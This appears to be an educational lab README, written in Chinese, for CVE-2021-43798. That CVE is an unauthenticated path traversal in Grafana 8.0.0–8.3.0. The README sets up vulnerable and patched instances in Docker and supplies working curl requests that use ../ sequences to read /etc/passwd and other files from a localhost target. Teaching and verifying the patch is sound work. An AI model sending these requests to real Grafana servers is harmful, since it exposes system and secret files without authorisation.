CVE-2021-43798 Grafana 未授权路径遍历 - 安全实验室 | Shivam Gupta | 23104003
仅供教育用途。 仅在隔离的本地机器上运行此实验环境。切勿将其暴露到互联网。
| 字段 | 详情 |
|---|---|
| CVE ID | CVE-2021-43798 |
| 产品 | Grafana |
| 受影响版本 | 8.0.0 – 8.3.0 |
| 已修复版本 | 8.3.1+ |
| 严重程度 | 高 |
| CVSS v3.1 评分 | 7.5 |
| CWE | CWE-22 — 路径遍历 |
| 需要认证 | 否 |
| 攻击向量 | 网络 |
git clone https://github.com/YOUR_USERNAME/INE_Shivam_Gupta.git
cd INE_Shivam_Gupta
docker compose up -d
验证:
curl http://127.0.0.1:3000/api/health
# Expected: "version": "8.3.0"
打开 http://127.0.0.1:3000 — 登录:admin / admin
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/passwd"
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/lab_secret.txt"
预期结果:返回文件内容,HTTP 状态码为 200 — 无需认证。
curl.exe --path-as-is "http://127.0.0.1:3000/public/plugins/alertlist/../../../../../../../../../etc/hostname"
curl.exe http://127.0.0.1:3000/api/health
如果返回 hostname → 存在漏洞。版本 8.0.0–8.3.0 → 存在漏洞。
启动已修复的实例(Grafana 8.3.1):
docker compose -f docker-compose.patched.yml up -d
验证漏洞利用已被阻止:
curl.exe --path-as-is "http://127.0.0.1:3001/public/plugins/alertlist/../../../../../../../../../etc/passwd"
# Expected: {"message": "Plugin file not found"}
docker compose down
docker compose -f docker-compose.patched.yml down